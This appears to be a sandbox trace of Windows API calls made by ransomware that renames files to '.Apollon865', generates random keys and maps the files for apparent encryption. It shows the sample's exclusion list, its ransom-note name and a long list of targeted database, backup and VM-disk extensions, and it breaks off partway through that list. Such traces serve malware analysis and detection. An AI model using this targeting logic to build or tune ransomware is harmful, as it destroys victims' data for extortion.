	[0075.334] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
	[0075.335] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xd8
	[0075.336] GetFileSizeEx (in: hFile=0xd8, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=997054) returned 1
	[0075.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0075.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0075.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0075.336] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0075.337] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0075.337] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0075.337] CreateFileMappingW (hFile=0xd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf39c0, lpName=0x0) returned 0x100
	[0075.339] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf39c0) returned 0x3390000
	[0076.323] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf5f0) returned 1
	[0076.323] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0076.323] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0076.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0076.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0076.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0076.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0076.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.324] UnmapViewOfFile (lpBaseAddress=0x3390000) returned 1
	[0076.333] CloseHandle (hObject=0x100) returned 1
	[0076.333] CloseHandle (hObject=0xd8) returned 1
	[0076.333] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0076.333] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0076.333] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0076.337] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f638b10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.337] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.337] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0076.337] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.337] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="Apollon865.txt.exe") returned 1
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".") returned 1
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="..") returned 1
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="windows") returned -1
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="bootmgr") returned 1
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="temp") returned 1
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="pagefile.sys") returned 1
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="boot") returned 1
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="ids.txt") returned 1
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="ntuser.dat") returned 1
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="perflogs") returned 1
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="MSBuild") returned 1
	[0076.338] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0076.338] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 121
	[0076.338] lstrcpyW (in: lpString1=0x119e6ea, lpString2="vc_runtimeMinimum_x86.msi" | out: lpString1="vc_runtimeMinimum_x86.msi") returned="vc_runtimeMinimum_x86.msi"
	[0076.338] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0076.338] lstrlenW (lpString="Apollon865") returned 10
	[0076.338] lstrcmpiW (lpString1="um_x86.msi", lpString2="Apollon865") returned 1
	[0076.338] lstrlenW (lpString=".dll") returned 4
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".dll") returned 1
	[0076.338] lstrlenW (lpString=".lnk") returned 4
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".lnk") returned 1
	[0076.338] lstrlenW (lpString=".ini") returned 4
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".ini") returned 1
	[0076.338] lstrlenW (lpString=".sys") returned 4
	[0076.338] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".sys") returned 1
	[0076.338] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0076.338] lstrlenW (lpString="bak") returned 3
	[0076.338] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0076.338] lstrlenW (lpString="ba_") returned 3
	[0076.338] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0076.338] lstrlenW (lpString="dbb") returned 3
	[0076.338] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0076.338] lstrlenW (lpString="vmdk") returned 4
	[0076.338] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0076.338] lstrlenW (lpString="rar") returned 3
	[0076.338] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0076.339] lstrlenW (lpString="zip") returned 3
	[0076.339] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0076.339] lstrlenW (lpString="tgz") returned 3
	[0076.339] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0076.339] lstrlenW (lpString="vbox") returned 4
	[0076.339] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0076.339] lstrlenW (lpString="vdi") returned 3
	[0076.339] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0076.339] lstrlenW (lpString="vhd") returned 3
	[0076.339] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0076.339] lstrlenW (lpString="vhdx") returned 4
	[0076.339] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0076.339] lstrlenW (lpString="avhd") returned 4
	[0076.339] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0076.339] lstrlenW (lpString="db") returned 2
	[0076.339] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0076.339] lstrlenW (lpString="db2") returned 3
	[0076.339] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0076.339] lstrlenW (lpString="db3") returned 3
	[0076.339] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0076.339] lstrlenW (lpString="dbf") returned 3
	[0076.339] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0076.339] lstrlenW (lpString="mdf") returned 3
	[0076.339] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0076.339] lstrlenW (lpString="mdb") returned 3
	[0076.339] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0076.339] lstrlenW (lpString="sql") returned 3
	[0076.339] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0076.339] lstrlenW (lpString="sqlite") returned 6
	[0076.339] lstrcmpiW (lpString1="86.msi", lpString2="sqlite") returned -1
	[0076.339] lstrlenW (lpString="sqlite3") returned 7
	[0076.339] lstrcmpiW (lpString1="x86.msi", lpString2="sqlite3") returned 1
	[0076.339] lstrlenW (lpString="sqlitedb") returned 8
	[0076.339] lstrcmpiW (lpString1="_x86.msi", lpString2="sqlitedb") returned -1
	[0076.339] lstrlenW (lpString="xml") returned 3
	[0076.339] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0076.340] lstrlenW (lpString="$er") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0076.340] lstrlenW (lpString="4dd") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0076.340] lstrlenW (lpString="4dl") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0076.340] lstrlenW (lpString="^^^") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0076.340] lstrlenW (lpString="abs") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0076.340] lstrlenW (lpString="abx") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0076.340] lstrlenW (lpString="accdb") returned 5
	[0076.340] lstrcmpiW (lpString1="6.msi", lpString2="accdb") returned -1
	[0076.340] lstrlenW (lpString="accdc") returned 5
	[0076.340] lstrcmpiW (lpString1="6.msi", lpString2="accdc") returned -1
	[0076.340] lstrlenW (lpString="accde") returned 5
	[0076.340] lstrcmpiW (lpString1="6.msi", lpString2="accde") returned -1
	[0076.340] lstrlenW (lpString="accdr") returned 5
	[0076.340] lstrcmpiW (lpString1="6.msi", lpString2="accdr") returned -1
	[0076.340] lstrlenW (lpString="accdt") returned 5
	[0076.340] lstrcmpiW (lpString1="6.msi", lpString2="accdt") returned -1
	[0076.340] lstrlenW (lpString="accdw") returned 5
	[0076.340] lstrcmpiW (lpString1="6.msi", lpString2="accdw") returned -1
	[0076.340] lstrlenW (lpString="accft") returned 5
	[0076.340] lstrcmpiW (lpString1="6.msi", lpString2="accft") returned -1
	[0076.340] lstrlenW (lpString="adb") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0076.340] lstrlenW (lpString="adb") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0076.340] lstrlenW (lpString="ade") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0076.340] lstrlenW (lpString="adf") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0076.340] lstrlenW (lpString="adn") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0076.340] lstrlenW (lpString="adp") returned 3
	[0076.340] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0076.341] lstrlenW (lpString="alf") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0076.341] lstrlenW (lpString="ask") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0076.341] lstrlenW (lpString="btr") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0076.341] lstrlenW (lpString="cat") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0076.341] lstrlenW (lpString="cdb") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0076.341] lstrlenW (lpString="ckp") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0076.341] lstrlenW (lpString="cma") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0076.341] lstrlenW (lpString="cpd") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0076.341] lstrlenW (lpString="dacpac") returned 6
	[0076.341] lstrcmpiW (lpString1="86.msi", lpString2="dacpac") returned -1
	[0076.341] lstrlenW (lpString="dad") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0076.341] lstrlenW (lpString="dadiagrams") returned 10
	[0076.341] lstrcmpiW (lpString1="um_x86.msi", lpString2="dadiagrams") returned 1
	[0076.341] lstrlenW (lpString="daschema") returned 8
	[0076.341] lstrcmpiW (lpString1="_x86.msi", lpString2="daschema") returned -1
	[0076.341] lstrlenW (lpString="db-journal") returned 10
	[0076.341] lstrcmpiW (lpString1="um_x86.msi", lpString2="db-journal") returned 1
	[0076.341] lstrlenW (lpString="db-shm") returned 6
	[0076.341] lstrcmpiW (lpString1="86.msi", lpString2="db-shm") returned -1
	[0076.341] lstrlenW (lpString="db-wal") returned 6
	[0076.341] lstrcmpiW (lpString1="86.msi", lpString2="db-wal") returned -1
	[0076.341] lstrlenW (lpString="dbc") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0076.341] lstrlenW (lpString="dbs") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0076.341] lstrlenW (lpString="dbt") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0076.341] lstrlenW (lpString="dbv") returned 3
	[0076.341] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0076.342] lstrlenW (lpString="dbx") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0076.342] lstrlenW (lpString="dcb") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0076.342] lstrlenW (lpString="dct") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0076.342] lstrlenW (lpString="dcx") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0076.342] lstrlenW (lpString="ddl") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0076.342] lstrlenW (lpString="dlis") returned 4
	[0076.342] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0076.342] lstrlenW (lpString="dp1") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0076.342] lstrlenW (lpString="dqy") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0076.342] lstrlenW (lpString="dsk") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0076.342] lstrlenW (lpString="dsn") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0076.342] lstrlenW (lpString="dtsx") returned 4
	[0076.342] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0076.342] lstrlenW (lpString="dxl") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0076.342] lstrlenW (lpString="eco") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0076.342] lstrlenW (lpString="ecx") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0076.342] lstrlenW (lpString="edb") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0076.342] lstrlenW (lpString="epim") returned 4
	[0076.342] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0076.342] lstrlenW (lpString="fcd") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0076.342] lstrlenW (lpString="fdb") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0076.342] lstrlenW (lpString="fic") returned 3
	[0076.342] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0076.342] lstrlenW (lpString="flexolibrary") returned 12
	[0076.343] lstrcmpiW (lpString1="imum_x86.msi", lpString2="flexolibrary") returned 1
	[0076.343] lstrlenW (lpString="fm5") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0076.343] lstrlenW (lpString="fmp") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0076.343] lstrlenW (lpString="fmp12") returned 5
	[0076.343] lstrcmpiW (lpString1="6.msi", lpString2="fmp12") returned -1
	[0076.343] lstrlenW (lpString="fmpsl") returned 5
	[0076.343] lstrcmpiW (lpString1="6.msi", lpString2="fmpsl") returned -1
	[0076.343] lstrlenW (lpString="fol") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0076.343] lstrlenW (lpString="fp3") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0076.343] lstrlenW (lpString="fp4") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0076.343] lstrlenW (lpString="fp5") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0076.343] lstrlenW (lpString="fp7") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0076.343] lstrlenW (lpString="fpt") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0076.343] lstrlenW (lpString="frm") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0076.343] lstrlenW (lpString="gdb") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0076.343] lstrlenW (lpString="gdb") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0076.343] lstrlenW (lpString="grdb") returned 4
	[0076.343] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0076.343] lstrlenW (lpString="gwi") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0076.343] lstrlenW (lpString="hdb") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0076.343] lstrlenW (lpString="his") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0076.343] lstrlenW (lpString="ib") returned 2
	[0076.343] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0076.343] lstrlenW (lpString="idb") returned 3
	[0076.343] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0076.344] lstrlenW (lpString="ihx") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0076.344] lstrlenW (lpString="itdb") returned 4
	[0076.344] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0076.344] lstrlenW (lpString="itw") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0076.344] lstrlenW (lpString="jet") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0076.344] lstrlenW (lpString="jtx") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0076.344] lstrlenW (lpString="kdb") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0076.344] lstrlenW (lpString="kexi") returned 4
	[0076.344] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0076.344] lstrlenW (lpString="kexic") returned 5
	[0076.344] lstrcmpiW (lpString1="6.msi", lpString2="kexic") returned -1
	[0076.344] lstrlenW (lpString="kexis") returned 5
	[0076.344] lstrcmpiW (lpString1="6.msi", lpString2="kexis") returned -1
	[0076.344] lstrlenW (lpString="lgc") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0076.344] lstrlenW (lpString="lwx") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0076.344] lstrlenW (lpString="maf") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0076.344] lstrlenW (lpString="maq") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0076.344] lstrlenW (lpString="mar") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0076.344] lstrlenW (lpString="marshal") returned 7
	[0076.344] lstrcmpiW (lpString1="x86.msi", lpString2="marshal") returned 1
	[0076.344] lstrlenW (lpString="mas") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0076.344] lstrlenW (lpString="mav") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0076.344] lstrlenW (lpString="maw") returned 3
	[0076.344] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0076.344] lstrlenW (lpString="mdbhtml") returned 7
	[0076.344] lstrcmpiW (lpString1="x86.msi", lpString2="mdbhtml") returned 1
	[0076.344] lstrlenW (lpString="mdn") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0076.345] lstrlenW (lpString="mdt") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0076.345] lstrlenW (lpString="mfd") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0076.345] lstrlenW (lpString="mpd") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0076.345] lstrlenW (lpString="mrg") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0076.345] lstrlenW (lpString="mud") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0076.345] lstrlenW (lpString="mwb") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0076.345] lstrlenW (lpString="myd") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0076.345] lstrlenW (lpString="ndf") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0076.345] lstrlenW (lpString="nnt") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0076.345] lstrlenW (lpString="nrmlib") returned 6
	[0076.345] lstrcmpiW (lpString1="86.msi", lpString2="nrmlib") returned -1
	[0076.345] lstrlenW (lpString="ns2") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0076.345] lstrlenW (lpString="ns3") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0076.345] lstrlenW (lpString="ns4") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0076.345] lstrlenW (lpString="nsf") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0076.345] lstrlenW (lpString="nv") returned 2
	[0076.345] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0076.345] lstrlenW (lpString="nv2") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0076.345] lstrlenW (lpString="nwdb") returned 4
	[0076.345] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0076.345] lstrlenW (lpString="nyf") returned 3
	[0076.345] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0076.345] lstrlenW (lpString="odb") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0076.346] lstrlenW (lpString="odb") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0076.346] lstrlenW (lpString="oqy") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0076.346] lstrlenW (lpString="ora") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0076.346] lstrlenW (lpString="orx") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0076.346] lstrlenW (lpString="owc") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0076.346] lstrlenW (lpString="p96") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0076.346] lstrlenW (lpString="p97") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0076.346] lstrlenW (lpString="pan") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0076.346] lstrlenW (lpString="pdb") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0076.346] lstrlenW (lpString="pdm") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0076.346] lstrlenW (lpString="pnz") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0076.346] lstrlenW (lpString="qry") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0076.346] lstrlenW (lpString="qvd") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0076.346] lstrlenW (lpString="rbf") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0076.346] lstrlenW (lpString="rctd") returned 4
	[0076.346] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0076.346] lstrlenW (lpString="rod") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0076.346] lstrlenW (lpString="rodx") returned 4
	[0076.346] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0076.346] lstrlenW (lpString="rpd") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0076.346] lstrlenW (lpString="rsd") returned 3
	[0076.346] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0076.347] lstrlenW (lpString="sas7bdat") returned 8
